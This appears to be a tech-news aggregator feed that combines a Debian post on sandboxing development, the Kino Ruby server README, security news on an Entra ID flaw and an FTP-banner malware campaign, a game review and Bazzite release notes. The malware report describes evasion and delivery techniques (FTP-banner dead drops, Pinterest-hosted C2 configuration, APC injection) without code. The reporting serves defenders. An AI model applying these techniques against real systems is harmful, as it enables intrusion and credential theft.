For engineering leaders and systems architects, the takeaways from TigerBeetle’s design are clear:

  • Design for Predictability First: If your system requires low tail latency, eliminate dynamic runtime allocations in favor of static, pre-allocated resource pools.
  • Embrace Batching to Amortize Overhead: Batching is the ultimate performance multiplier. It converts expensive, random I/O and network operations into highly efficient, sequential pipelines.
  • Align Software with Hardware Limits: Structure your core data models to align with CPU cache lines and disk sector boundaries to maximize hardware efficiency and minimize CPU stalls.

By adopting these mechanical sympathy principles, you can build systems that are not only orders of magnitude faster but also significantly more reliable and predictable under extreme load.

Emmanuel Kasper: Moving software development to separate VM to reduce credential scavenging

PlanetDebian
00formicapunk00.wordpress.com
2026-08-21 07:09:18
Rationale: I was remembered via https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ (linked from https://anarc.at/blog/2026-08-18-people-vs-ai-overlords/) of the risk of downloading untrusted packages in a dev environment. If you read the blog post above you will see that it is way to e...
Original Article

Skip to content

Rationale:

I was remembered via https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ (linked from https://anarc.at/blog/2026-08-18-people-vs-ai-overlords/ ) of the risk of downloading untrusted packages in a dev environment. If you read the blog post above you will see that it is way to easy do have a random npm, or even python package in a dev environment scavenge your long running credentials from your workstation, either on disk, or reading from memory !

I will thus move to the following set up:

  • things running directly in my workstation will require either to come from a trusted source (Debian package that is) or run in a sandboxed infrastructure (Podman rootless is the best thing here, followed by Flatpaks)
  • everything else, will run in a Libvirt VM based on Debian cloud images. For me it will be mostly in the beginning the VSCodium editor , with its myriad of extensions.

I am aware of whole blown solutions like QubeOS however I don’t indent to reinstall the whole OS, and QubeOS does not run on ARM64 which is one of the environment I am using.

I will try to document this setup in two blog posts, one about the VM creation using Debian Cloud Images, the second one about running a graphical env in the VM with some filesystem passthrough. Stay tuned !

Kino: A high-performance Ractor web server for Ruby 4.0

Hacker News
github.com
2026-08-21 07:06:25
Comments...
Original Article

Kino is a high-performance Ractor web server for Ruby 4.0+.

GitHub Release Docs

Ruby threads cannot run Ruby code in parallel, so production setups fork a process per core and pay for each copy in memory. Kino runs your code on every core in one small process . A Rust (tokio + hyper) front-end owns the network, parallel Ractors run your Rack 3 app, and a threaded fallback mode runs everything else, Rails included.

  • Fast. On a real 8-core server, every Kino mode is 1.5-2× ahead of a Puma fork cluster on I/O-light endpoints. Ractor mode also wins on pure CPU, 30%+ . Benchmarks below.
  • A fraction of the memory. About ~7× on the simplistic bench Ractor app, and about 4× less memory than a Puma cluster serving Rails in fallback threaded mode.
  • Parallel without forking. Ractor mode runs CPU work more than 5× faster than Kino's own GVL-bound threaded mode, in the same small process.
  • Production plumbing included. Graceful drain, crash supervision and respawn, bounded queues with 503 backpressure, request timeouts, hardened intake (slowloris and TLS-handshake deadlines, connection and body-size caps), an on_error hook for your error tracker, TLS (rustls), live stats, async access and app logging.
  • Tells you why. kino --check lists exactly what blocks your app from ractor mode, finding by finding, so you do not have to decode Ractor::IsolationError yourself.
  • Puma-shaped. The same workers × threads topology, a familiar config DSL, a kino CLI. If you can run Puma, you can run Kino.

N.B.: Ractors are officially experimental in Ruby 4.0, and so is this server. The threaded mode is solid. Still, Kino aims to be the best way to experiment with Ractors today—and the best Ractor server when they become stable.


Table of Contents

Why

The GVL allows only one Ruby thread to run at a time. To use all cores, Ruby servers fork processes, and every fork costs a full copy of the app. Ractors do not have this limit: each one has its own lock, so one process can run Ruby in parallel. What was missing is a server that dispatches requests to them. Ruby 4.0 reworked Ractors ( Ractor::Port , shareable_proc , less lock contention) and made this worth building.

Why a Ractor server has to be built this way, and which Rust parts make Ractors fast here: doc/why-kino.md . The full design notes live in doc/architecture.md .

Benchmarks

Measured on a real server: AWS c7a.2xlarge (8-core AMD EPYC 9R14, 16 GB, Amazon Linux 2023). This is a realistic app-server size.

These tables run a tiny synthetic Rack app —plaintext, a 10 KB body, a CPU-bound fib , a 5 ms wait—deliberately small, to measure the server rather than an app. It is Ractor-shareable, so Kino runs it in :ractor mode (and :threaded for comparison). A real Rails app is a different story: it is not Ractor-shareable, so it runs only in Kino's :threaded fallback, with its own numbers—see Rails below. Ruby 4.0.5 with YJIT, every server at its defaults: Puma forks 8 workers × 3 threads, Kino stays in one process (8 workers; 1 thread each in ractor modes, 3 in threaded). Numbers are req/s by wrk (8-second windows, 64 connections, same host). Methodology: doc/benchmarks.md .

endpoint Kino :ractor + lanes :ractor, workers 32 ² Kino :threaded Puma (cluster)
/plaintext 229,534 250,222 182,997 216,994 118,176
/10k 178,083 189,862 151,034 160,400 106,768
/cpu (fib) 77,999 ¹ 70,885 66,100 13,429 58,006
/io (5 ms) 1,552 1,551 5,888 4,709 4,693
/io_native 1,570 1,571 6,274 4,695 4,691

Memory tells two different stories depending on the app, both by PSS (proportional set size; see note) after sustained load.

The tiny benchmark app (Ractor-shareable, so Kino runs it in :ractor or :threaded ). Kino is ~7× lighter in :ractor mode, ~10× in :threaded than the Puma cluster — the gap stays large because a trivial app is almost all private per-worker heap, which copy-on-write can't share:

tiny app, Kino Kino (one process) Puma cluster (8 workers) ratio
:ractor (8×1) 148 MB 1,068 MB ~7×
:threaded (8×3) 107 MB ³ 1,068 MB ~10×

A real Rails app (not Ractor-shareable—Kino's :threaded fallback only, below ). The gap is ~4× , smaller because Rails' large framework is shared copy-on-write across Puma's forks:

Rails hello-world Kino :threaded Puma cluster (8 workers) ratio
PSS 92 MB 389 MB ~4×

"+ lanes" is the experimental per-worker-queue dispatcher ( lanes true ). It posts the fastest plaintext/10k of any configuration here. Details: doc/benchmarks.md .

¹ Stock settings, no tuning. Ractor mode beats the fork cluster on pure CPU by +34% (+22% with lanes). Threaded mode shows the GVL ceiling that every single-process Ruby server hits. The old CPU-tuning recipe is retired: its threads 1 half is the default now, and its tokio_threads 1 half costs −12% on real hardware; see doc/benchmarks.md .

² Wait-bound throughput is slots ÷ wait, and the default columns bring 8 single-thread workers against the cluster's 24 threads. Kino slots are threads, not processes—when your app waits a lot, raise workers . The workers 32 column is that tuning: +25% over the cluster on /io (+34% via Kino.sleep ) while still ahead of it on pure CPU, all in one small process. The cost is the CPU-light rows (32 ractors oversubscribe 8 cores); pick the topology your app's wait profile needs. See doc/benchmarks.md .

³ With MALLOC_ARENA_MAX=2 (the standard Ruby deployment setting; Heroku's default). Without it, 24 threads churning 10 KB responses through one glibc heap balloon to ~670 MB—an arena-fragmentation footgun, not a leak, and ractor mode sidesteps it. See doc/benchmarks.md .

A common first idea is to keep your current server and wrap the app in a ractor pool. We measured that too (same box; the analysis is in the doc):

endpoint Kino :ractor (8×3) Puma + ractor wrapper Falcon + ractor wrapper
/plaintext 193,826 19,480 99,776
/cpu (fib) 68,061 17,755 48,721
/io (5 ms) 4,530 1,454 1,549

Rails

Rails is not Ractor-shareable today, so Kino serves it in :threaded fallback — one GVL-bound process. On the same box ( examples/rails-hello , edge Rails, production, 8×5):

Rails hello-world req/s memory (PSS)
Kino :threaded (one process) 2,637 92 MB
Puma cluster (8 workers) 12,138 389 MB

The honest trade-off: Puma's fork cluster uses all 8 cores, so it serves ~4.6× the throughput — at ~4× the memory. Ractor-mode Rails would close the throughput gap at one-process memory cost; the upstream blockers are tracked in doc/rails-on-ractors.md .

In short: on the tiny synthetic app, ractor mode beats fork-level CPU parallelism ( 5.8× Kino's own GVL-bound threaded mode, +34% over the cluster) in one process, at about 1/7th of the cluster's memory by PSS (~4× on a real Rails app). Every Kino mode is 1.5-2.1× ahead of the cluster on I/O-light endpoints. The macOS numbers (secondary; everything there hits the loopback ceiling) and the YJIT × Ractors gotcha are in doc/benchmarks.md .

Reproduce: bench/run.sh [seconds] [concurrency] for the main table, bench/studies.sh for the follow-ups (CPU recipe, topology, scaling, logging, memory).

Install

You need Ruby >= 4.0. Add Kino to your application's bundle:

bundle add kino      # or: gem install kino (outside a bundle)

or put it in the Gemfile yourself:

Then generate a config and serve:

bundle exec kino --init    # writes kino.rb; every directive documented in place
bundle exec kino           # picks up config.ru + kino.rb, serves on :9292

(After a standalone gem install , the kino command works without bundle exec .)

No Rust compiler needed: released versions ship precompiled native gems for Linux (x86_64/aarch64, glibc and musl) and macOS (arm64). On other platforms the gem compiles at install time; that needs a Rust toolchain, plus clang/libclang on Linux.

Usage

require "kino"

# Ractor mode needs a Ractor-shareable app: capture nothing, freeze config.
app = Ractor.shareable_proc do |env|
  [200, { "content-type" => "text/plain" }, ["Hello from #{Ractor.current}"]]
end

Kino::Server.run(app, port: 9292)   # traps INT/TERM; Ctrl-C drains gracefully

Or embedded, with everything spelled out:

server = Kino::Server.new(app,
  bind: "127.0.0.1",
  port: 9292,                 # 0 = ephemeral; read back via server.port
  workers: Etc.nprocessors,   # ractors (parallelism)
  threads: 1,                 # per worker; ractor default 1, threaded default 3
  mode: :auto,                # :auto | :ractor | :threaded
  queue_depth: 1024,          # bounded queue; overflow → 503
  queue_timeout: 5.0,         # seconds before 503 on a full queue
  request_timeout: nil,       # seconds before a slow response becomes a 504 (nil = off)
  max_connections: 8192,      # cap concurrent connections; default: most of ulimit -n
  max_body_size: 50 * 1024 * 1024,  # bytes before a 413; nil = let a proxy handle it
  on_error: ->(e, env) { ErrorTracker.capture(e) },  # after the client got its 500
  shutdown_timeout: 30,       # drain deadline
  control_bind: "127.0.0.1:9293",   # monitoring: /stats /metrics /ready /live; port 0 reads back via server.control_port
  control_token: ENV["KINO_CONTROL_TOKEN"],  # optional Bearer auth for /stats + /metrics
  tls: { cert: "cert.pem", key: "key.pem" },  # file paths or inline PEM
)
server.start
server.shutdown               # graceful: drain → deadline → abort stragglers

Modes

  • :ractor : workers Ractors × threads Threads each. The app must be Ractor.shareable? (frozen middleware, shareable_proc endpoints). Forcing :ractor with an unshareable app raises Kino::UnshareableAppError . A crashed ractor returns 500 to its in-flight requests right away, then respawns.
  • :threaded : the same machinery on workers × threads plain Threads. Runs any Rack app, including Rails, today. Parallel for I/O, serialized by the GVL for CPU.
  • :auto (default): :ractor when the app is shareable, otherwise a warning and :threaded . One caveat: a class used as a Rack app always counts as "shareable" (classes are), even if calling it touches unshareable state. Force :threaded for those.

Config file and CLI

Settings can live in a Puma-style Ruby DSL file. Precedence: explicit kwargs and CLI flags > config file > defaults.

# kino.rb
port 9292
workers 8
threads 1
mode :ractor
kino --init                   # write a fully commented sample kino.rb
kino                          # config.ru + kino.rb, port 9292
kino --check                  # explain whether the app can run in :ractor mode
kino -C config/kino.rb -p 3000 -w 4 -m ractor my_app.ru

The generated sample documents every directive, including the Rails settings and the performance notes.

kino --check

When an app cannot run in :ractor mode, Kino can tell you why, instead of leaving you with a bare Ractor::IsolationError . The check changes nothing (it does not freeze your objects) and names each blocker: captured variables with the place they were defined, instance variables by path, and the class-level instance variable trap that catches class-style apps:

$ kino --check
check: app is NOT Ractor-shareable
  - app (Proc at app.rb:12)—captures `cache` = {} (Hash) (unshareable)
  - app (HelloApp).@instance—class-level ivar holds #<HelloApp…>—classes
    pass Ractor.shareable?, but reading this from a worker ractor raises
    Ractor::IsolationError on the first request
  hints: freeze config at boot; build endpoints with Ractor.shareable_proc;
  keep per-worker resources in Ractor.store_if_absent; or run mode :threaded.

Exit status is 0/1, so it works in CI. The programmatic form is Kino::Check.report(app) .

Request timeouts

request_timeout: seconds (or request_timeout 30 in kino.rb ) limits how long the app may take to produce a response. Past the deadline the client gets an immediate 504 while the handler keeps running; its late response is dropped without harm. Off by default. The handler is deliberately not killed, because interrupting arbitrary Ruby mid-flight is unsafe. A stuck handler still occupies its worker slot until it returns, so set the deadline above your slowest legitimate endpoint and watch stats[:timeouts] .

Timeouts guard your app; the network intake guards itself. New connections past max_connections (default: most of ulimit -n ) wait in the kernel backlog; request bodies past max_body_size (default 50 MB, nil delegates to a fronting proxy) get a 413 ; and fixed deadlines drop slow-header clients (15 s), stalled TLS handshakes (10 s), and uploads stalled mid-body (30 s). When a worker catches an app or delivery error, on_error ->(error, env) { ErrorTracker.capture(error) } is called after the client got its 500—the only place a tracker sees errors raised while the response was being written (in :ractor mode, build the handler with Ractor.shareable_proc ).

Lifecycle hooks

Kino fires four lifecycle hooks alongside on_error , split by firing context.

Worker-context hooks run inside the worker and are available to all workers:

  • after_worker_boot { |worker_id| } : runs once before the worker begins serving, with its slot id. In :ractor mode it runs inside the worker ractor and must be Ractor.shareable_proc .
  • after_request_complete { |env, status| } : fires inside the worker after each successful response. This is the hot path—leave it unset for zero cost. In :ractor mode it must be Ractor.shareable_proc .

Main-context hooks run on the main thread, outside workers, and are plain procs:

  • after_boot { } : fires once after the worker pool is up. Wire readiness here—sd_notify, a "server ready" metric, and so on.
  • on_worker_exit { |worker_index, error| } : fires when a worker exits, with its index and the crash cause (or nil on a clean exit).

after_worker_boot 's argument is the worker's slot id, while in :ractor mode on_worker_exit 's argument identifies the exited ractor ( 0 .. workers - 1 )—a different number space—so don't correlate boot and exit by that number in :ractor mode.

A raising hook is logged and never kills a worker.

Stuck-worker quarantine

quarantine_timeout: seconds (or quarantine_timeout 60 in kino.rb ) quarantines a dispatch slot whose request has run longer than the deadline and spawns a replacement worker to restore capacity—distinct from request_timeout , which gives the client a 504 but leaves the slot occupied. quarantine_max (default: the worker count in :ractor mode, workers × threads in :threaded ) caps the total number of replacement events over the process lifetime—past it the monitor stops replacing and the server runs at reduced capacity.

The wedged worker is never interrupted or force-killed, and its slot stays quarantined for good. In :threaded mode, if the blocked thread eventually returns, it keeps serving requests on that same slot—but the slot itself stays flagged quarantined (busy_ms reported as 0) for the rest of the process; in :ractor mode the wedged ractor (and its supervisor thread) leaks until the process exits, since a wedged ractor cannot be safely interrupted. Monitor quarantine activity via server.stats (top-level quarantined count and per-slot worker_status[].quarantined flag), GET /stats (same), and GET /metrics ( kino_quarantined_workers gauge and kino_quarantine_replacements_total counter).

Stats

server.stats returns a live snapshot: the configuration plus counters from the native layer (one relaxed atomic per request, no measurable cost):

server.stats
# => {mode: :ractor, lanes: false, workers: 8, threads: 1, batch: 1,
#     respawns: 0, queued: 0, in_flight: 2, served: 1041, rejected: 0,
#     timeouts: 0, worker_status: [...]}
# plus lane_depths: [...] when lane dispatch is on

From the outside, kill -USR1 <pid> prints the same snapshot as one line (pair it with pidfile to find the pid):

Kino stats: mode=:ractor lanes=false workers=8 threads=1 batch=1 respawns=0 queued=0 in_flight=2 served=1041 rejected=0 timeouts=0

For pull-based monitoring, control_bind "127.0.0.1:9293" (or a unix:// path) serves a read-only control plane from the native layer on its own thread—it keeps answering even while every Ruby worker is busy or stuck, and reports draining through a graceful shutdown:

  • GET /stats —the same snapshot as server.stats , as JSON (plus state and version ).
  • GET /metrics —Prometheus text format ( kino_requests_served_total , kino_queue_depth , kino_ready , …).

Both /stats and /metrics also break the counters down per dispatch slot: /stats carries a worker_status array ( index , served , in_flight , busy_ms ) and /metrics emits kino_worker_*{worker="N"} series, one entry per execution slot ( workers × threads )—a crashed worker's slot is never reused, so it stays in the list with its counters frozen where they stopped, meaning the array (and its worker="N" metric series) grows by one across every respawn. busy_ms is how long the slot's current request has been running (0 when idle), so a single slot climbing while the rest sit at 0 is your stuck worker.

The /stats response and server.stats carry queue_time (count and summed seconds), and /metrics exposes kino_request_queue_seconds —a Prometheus histogram of queue-wait time, the worker-saturation signal. Counts admitted requests only; a 503 after queue wait goes to rejected , not queue_time .

  • GET /ready 200 when serving, 503 while booting or draining: wire it to your load balancer or Kubernetes readiness probe.
  • GET /live 200 whenever the process is alive: the liveness probe.

control_token "..." puts /stats and /metrics behind Authorization: Bearer ; the probes stay open.

Logging

With one log line per request, Kino::Logger sustained 2.4× the throughput of a shared ::Logger (149k vs 63k req/s on the benchmark box). There are two native pieces. Both write through a lock-free channel to a Rust flusher thread, so request threads never take a log mutex and never make a write syscall:

  • Access log ( log_requests true ): one line per request to stdout, including the 503s that never reach your app. Recommended in development; cheap enough for production. On color terminals the lines are tinted by status class: 2xx green, 3xx yellow, 4xx maroon, 5xx bright red:

    127.0.0.1 [Tue, 10 Jun 2026 13:39:56 GMT] "GET / HTTP/1.1" 200 0.1ms
    
  • Kino::Logger : a ::Logger over the same async sink, for your app's own logging ( Kino::Logger.new("log/production.log") , or no argument for stdout). The raw IO-like device is Kino::Logger::Device , for integrations that want bytes without ::Logger formatting. The device is frozen and Ractor-shareable, so one device serves every worker.

Kino::Logger in a Rails app: it is a real ::Logger subclass, so it fits anywhere Rails expects a logger:

# config/environments/production.rb, simplest forms:
config.logger = Kino::Logger.new                          # stdout
config.logger = Kino::Logger.new("log/production.log")    # file
# both file and stdout:
config.logger = ActiveSupport::BroadcastLogger.new(
  Kino::Logger.new("log/production.log"), Kino::Logger.new
)
# tagged logging wraps it like any ::Logger:
config.logger = ActiveSupport::TaggedLogging.new(Kino::Logger.new)

From a plain Rack app, give middleware the logger, or hand Rack::CommonLogger the raw device (it just calls write ):

# config.ru
use Rack::CommonLogger, Kino::Logger::Device.new   # access-style app log
run MyApp

(If you only want request lines, prefer Kino's own log_requests true . It is free for your Ruby threads, and it also sees the 503s that never reach Rack.)

Graceful shutdown drains both logs fully. A hard crash can lose the tail of the buffer, and when you log faster than the disk can take (over 100k lines/s), the sink drops lines instead of blocking request threads. These trade-offs are measured in doc/benchmarks.md .

Timer waits

Kino.sleep(seconds) is a high-resolution sleep on the OS clock with the GVL released. MRI's own sleep wakes up late inside non-main ractors (details and numbers in doc/benchmarks.md ). Use Kino.sleep for explicit timer waits in handlers. Ordinary blocking I/O does not need it.

Rack 3 compliance

The spec suite runs every test app under Rack::Lint over real sockets: streaming request bodies (forward-only rack.input ), enumerable and callable (full-duplex stream) response bodies, lowercase and multi-value headers, HEAD/204 semantics. Full hijack is left out on purpose; it is optional in Rack 3.

Rails

Rails (edge) runs on Kino today in :threaded mode; see examples/rails-hello . Ractor-mode Rails is blocked upstream. The exact blockers, the Ruby::Box findings, and what would unlock it are written up in doc/rails-on-ractors.md . The example ships a probe script that re-tests against whatever Rails you bundle.

Development

bin/setup
bundle exec rake                       # compile, Rust tests, specs, RBS, lint
RB_SYS_CARGO_PROFILE=dev bundle exec rake compile   # fast dev rebuilds

Acknowledgements

Thanks to Mat Sadler for magnus .

For ractors, thanks to Koichi Sasada , John Hawthorn , Jean Boussier , Luke Gruber , and other Ruby core contributors.

For the Rust network stack, thanks to Sean McArthur for hyper , and to Carl Lerche , Alice Ryhl , and the other Tokio maintainers for the runtime underneath it. Thanks to Joshua Barretto for flume —its channels carry every request between the network side and the workers.

Assisted by

Claude Code (Fable 5, Opus 4.8).

Contributing

Bug reports and pull requests are welcome on GitHub at https://github.com/yaroslav/kino .

License

The gem is available as open source under the terms of the MIT License .

Microsoft warns of max severity Entra ID flaw exploited in attacks

Bleeping Computer
www.bleepingcomputer.com
2026-08-21 07:04:10
Microsoft has patched a maximum-severity vulnerability in the Entra ID identity and access management (IAM) platform that has been exploited in attacks. [...]...
Original Article

Microsoft

Microsoft has patched a maximum-severity vulnerability in the Entra ID identity and access management (IAM) platform that has been exploited in attacks.

Formerly known as Azure Active Directory (or Azure AD), it is a cloud-based IAM platform that provides Microsoft 365, Azure, or Dynamics CRM Online customers with authentication, policy enforcement, and protection across apps and resources.

Tracked as CVE-2026-69836 , this critical security flaw was discovered by Microsoft principal security engineer Robert Fitzpatrick, and it allowed threat actors with no privileges to gain code execution in low-complexity attacks.

image

Microsoft says exploit code for CVE-2026-69836 is not yet available online and added that users don't need to take any action since the flaw has already been fully patched.

"Deserialization of untrusted data in Microsoft Entra ID allows an unauthorized attacker to execute code over a network," Microsoft said in a security advisory published on Thursday.

"This vulnerability has already been fully mitigated by Microsoft. There is no action for users of this service to take. The purpose of this CVE is to provide further transparency."

The company didn't share any additional information, and a Microsoft spokesperson was not immediately available for comment when BleepingComputer asked for more details on attacks exploiting the CVE-2026-69836 flaw.

Yesterday, Microsoft addressed four more maximum severity flaws, three of them allowing unauthenticated attackers to escalate privileges remotely on Azure Arc ( CVE-2026-65816 and CVE-2026-69555 ) and Exchange Online ( CVE-2026-65801 ). The fourth, tracked as CVE-2026-65770 , enabled remote code execution on an Azure Managed Instance for Apache Cassandra.

In September 2025, it patched another critical Entra ID privilege escalation flaw ( CVE-2025-55241 ) reported by Outsider Security security researcher Dirk-jan Mollema that enabled attackers to gain complete access to the Microsoft Entra ID tenant of every company in the world.

On Friday, CISA also tagged a critical-severity remote code execution (RCE) flaw in the Windows Internet Key Exchange (IKE) Service Extensions component as actively exploited.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

Hackers abuse FTP server banners to deliver new Windows malware

Bleeping Computer
www.bleepingcomputer.com
2026-08-21 07:00:00
Threat actors are abusing FTP banners to hide commands that deliver two previously undocumented remote access trojans named E4del and PINHOLE. [...]...
Original Article

Hackers abuse FTP server banners to deliver new Windows malware

Threat actors are abusing FTP banners to hide commands that deliver two previously undocumented remote access trojans named E4del and PINHOLE.

MalwareHunterTeam observed this unusual technique in July in an attack that used shortcut files (.LNK) and FTP server banners as dead-drop resolvers (DDR) to retrieve commands.

FTP banners are text strings the server uses as a greeting message for connecting hosts before they log in.

image

By embedding commands in the initial response sent when a compromised system connects to an FTP server, a malware stager can receive instructions from a remote server.

After discovering FTP banners being used to deliver malicious commands during an investigation, researchers at threat intelligence platform SOCRadar expanded their hunt and found that the technique remains in use.

"By utilizing FOFA searches, we determined that this technique has been weaponized since early July 2026 and remains operational, with new infrastructure observed as recently as August 2026."

In a report shared with BleepingComputer, SOCRadar says that the observed attacks start with a ZIP archive that triggers an LNK-based infection chain. The researchers note that the initial compromise likely occurs through phishing.

LNK file retrieving data from FTP server banners
LNK file retrieving data from FTP server banners
Source: SOCRadar

The infection chain delivers two remote access trojans (RATs) named E4del and PINHOLE via two distinct infection routes, both retrieving  a PowerShell script from FTP banners.

E4del is a Node.js-based RAT packaged inside a digitally signed Electron application that masquerades as Discord.

The RAT supports running commands through persistent or temporary shells, capturing screenshots, streaming the desktop over WebSockets, and downloading and executing additional payloads.

SOCRadar also mentions a Node.js module named crypto32.node that attempts privilege escalation, but the researchers could not retrieve it for analysis.

The E4del RAT delivery chain
The E4del RAT delivery chain
Source: SOCRadar

PINHOLE retrieves its C2 configuration from Pinterest pins and SurveyMonkey survey questions, a tactic that offers versatility and resilience to take-downs.

The malware leaves a minimal footprint on the host, using shellcode fluctuation to keep only one 4KB section of the payload in memory at a time, and injecting the final assembly into a suspended ApplicationFrameHost.exe process via Early Bird APC injection.

PINHOLE supports 14 commands, including file enumeration, uploading and downloading files, command execution, process management, capturing screenshots, and deploying a module for stealing credentials stored in browsers.

PINHOLE execution chain and supported commands
PINHOLE execution chain and supported commands
Source: SOCRadar

At the time of analysis, the PINHOLE script counted only 11 execution events, suggesting that the campaign was in an early stage.

While abusing FTP banners to deliver commands is a novel alternative, SOCRadar says that the approach is less stealthy than traditional web-based DDRs (e.g., X, GitHub, YouTube) because FTP connections to unknown servers are more likely to stand out.

“While threat actors typically utilize legitimate web services, such as X, GitHub, or YouTube, to provide cover through high-volume, expected network traffic, FTP banners represent a novel alternative."

The researchers note that the technique is very versatile and could "easily" be adapted for ClickFix social engineering campaigns.

SOCRadar's report provides indicators of compromise that could help defenders identify the malicious infrastructure as well as infected machines on the network.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

Metal Gear Solid: Master Collection Vol 2 review – once more unto the mercenary breach

Guardian
www.theguardian.com
2026-08-21 06:45:20
PC, Nintendo Switch/Switch 2, PS5, Xbox Series X/S; KonamiThis second collection remasters another three titles from the illustrious stealth espionage series, but their world has changed little since the original releases ‘War has changed,” claims Old Snake in Metal Gear Solid 4: Guns of the Patriot...
Original Article

‘W ar has changed,” claims Old Snake in Metal Gear Solid 4: Guns of the Patriots. Back in 2008, the team at Kojima Productions waxed poetic about people recruited to fight in proxy wars they have no political or ideological stake in. As these mercenaries follow their orders, traders get rich out of the so-called war economy. The more disastrous the conflict in a specific area, the higher the bidding price.

I expected my time with Metal Gear Solid: Master Collection Vol 2 to be nostalgic and, in good old MGS fashion, abundant with fictional events that sound eerily familiar to our current reality. Twenty minutes in, I was having an existential crisis.

The package bundles remastered renditions of stealth games Ghost Babel and Peace Walker and the aforementioned Guns of the Patriots. It’s an intriguing selection, spanning a Game Boy Colour reimagination, a PlayStation Portable prequel, and the culmination of the mainline series respectively. Despite being substantially distinct in isolation, all three entries focus on perpetuating acts of cruelty in order to collect a paycheque.

Men in military gear surround a helicopter.
War hasn’t changed … Metal Gear Solid: Master Collection Vol 2. Photograph: Konami

Old Snake willingly takes part in the war economy, every downed soldier dropping their weapon with a satisfying clink . When picked up, each gun is automatically sold to a black market trader for points, which can be exchanged for bigger, deadlier materiel. An enemy squad stepping on a landmine is no different from unlocking a shiny loot box.

Conflict is welcomed as long as it’s profitable. It puts food on the table for the group of mercenaries you lead in Peace Walker and the private military companies in Guns of the Patriots – it has also been the fuel of real-life prediction markets . The members of the fictional private military companies are IDed and monitored in real-time by an AI program, while in real life video game data is used to train AI that can be used by the military, with game companies facing boycotts for their alleged involvement in war and genocide.

In 2026, Metal Gear Solid: Master Collection Vol 2 is whiplash disguised as a trip down memory lane. As a collection, it’s an odd time capsule. Ghost Babel is almost a de-make, following in the footsteps of the original MSX entries while adapting modern mechanics and conventions, from sound detection to overly long cutscenes. Peace Walker, meanwhile, retains the roots of the current live service era – you can play both the main missions and side objectives with up to three other players online – without the predatory microtransactions and battle passes of today.

Lastly, while all three games embody nostalgia, Guns of the Patriots is the epitome. Mentions of familiar characters prompt you to repeatedly press a button to get rapid-fire flashbacks to their previous appearances. There’s no shortage of reunions and nods to the entire series, with a fair degree of fan service mixed in. In an era of remakes , unnecessary sequels and constant recycling of protagonists, it’s satisfying to revisit an entry that dared to put a nail in the coffin without hesitation.

All three games now look better and are more easily accessible. The experiences are, for the most part, just as you remember them. As far as remasters go, you’ll feel right at home. At their core, the message is as eternal as ever: war, and its surrounding economy, hasn’t changed. The only noticeable difference is the inflation rate.

  • Metal Gear Solid: Master Collection Vol 2 will be released on 27 August; £44.99

Bazzite Deck 44 Launches Today

Lobsters
universal-blue.discourse.group
2026-08-21 06:37:21
Comments...
Original Article

Bazzite Deck 44 Launches Today

Don’t worry desktop users, there’s major improvements in here for you too!

Hello folks! It’s been a hard few months with over 700 commits just to the Bazzite repo . I’m beyond proud to be able to announce that we’ve finished our biggest update in the project’s history and are landing Bazzite 44 for deck images today! This marks the end of our one-time image decoupling. From now on updates will be simultaneous across all images. We’re already thinking about Bazzite 45 :grinning_face_with_smiling_eyes: .

This wouldn’t have been possible without the combined efforts of everyone involved. Of course I have to thank all my friends at the OGC for being absolute rockstars to work with. The ShadowBlip team for dealing with our endless bug reports and PRs, the Ultramarine/Terra team for putting up with 900+ PRs from me to bump packages we’re using and for their high quality repositories and builders, and for all of our contributors - faces new and old, for getting us across the finish line and tirelessly testing this work.


First off, Happy 5th Birthday to Universal Blue

It’s hard to believe we’ve been at this for five years already. Universal Blue changed my life in a lot of ways, and I’ve watched so many of its contributors go on to get Linux jobs. I’m so glad that I have the privilege to work together and call friends the amazing people here.

Some of the biggest news across the Universal Blue ecosystem includes:

Universal Blue now has over 110K weekly active users!

Unraid is now powered by uCore!

Bluefin adopts the Open Gaming Collective

If you’re interested in Project Bluefin check out Ahmed Adan’s work on bringing the OGC kernel to Bluefin. Bazzite will be featured in the upcoming Seven Days to the Wolves event.

Aurora working on Chunkah

Currently most Universal Blue images are rechunked with rpm-ostree, Chunkah is the modern replacement and Aurora has spent a great deal of time getting it stable & tested. Expect this to roll out to the rest of the Universal Blue stack in the future.

Bazzite users now make up 30% of the traffic on Flathub!


Here’s to another 5 years of Universal Blue! :tada: May we continue to mentor developers and push for the future of the Linux desktop - together.


Now, on to the update!

Changes to Bazzite Deck Images

This is the largest rework the deck images have ever had, replacing our old stack with the full SteamOS-aligned stack:

  • InputPlumber for controller handling, emulation, and remapping
  • SteamOS-Manager for handling everything from session switching to TDP control in steam.
  • PowerStation for TDP/power control on devices SteamOS-Manager can’t support today.
  • OpenGamepadUI as an extendable plugin overlay for options Steam doesn’t expose today

OpenGamepadUI’s overlay is enabled by default only on non-Valve handhelds for now, and can be toggled with ujust configure-opengamepadui .

Important things to note:

  • TDP control is done entirely through the Steam QAM now . OpenGamepadUI will only expose extra options like Boost control for devices that support toggling it. Powerstation powers TDP where necessary, and is disabled on hardware that is fully supported by Steam. Please note that on some handhelds Steam hides the TDP slider unless you’re using the performance option under performance profiles.
  • Similar story for RGB , most handhelds will just work, but some Ayn or ASUS users may want to emulate a DualShock controller for the time being, kernel patches are in development that will allow these to also be controlled through Steam.
  • Some devices may no longer allow fan control , but a plugin for OGUI is in development to restore them. If you’re affected, let us know on our GitHub and we’ll update you as this lands.
    • All handhelds are designed to have sufficient cooling without manual control, so at worst expect louder fans than you wanted until this plugin is complete and ready for consumption.
  • The original Legion Go will temporarily lose gyro , but a patch to re-enable it is in development.
  • DeckyLoader plugins , including SimpleDeckyTDP, can once again be used without causing conflicts .

This stack will continue to improve and we’ll be posting minor fixes and improvements consistently.

Game Mode Updates

In addition to our new GUI updater working in gamemode and having full controller support, for the first time ever the Steam system updates not only function properly but provide accurate change-logs thanks to work by honjow .

Upgrading

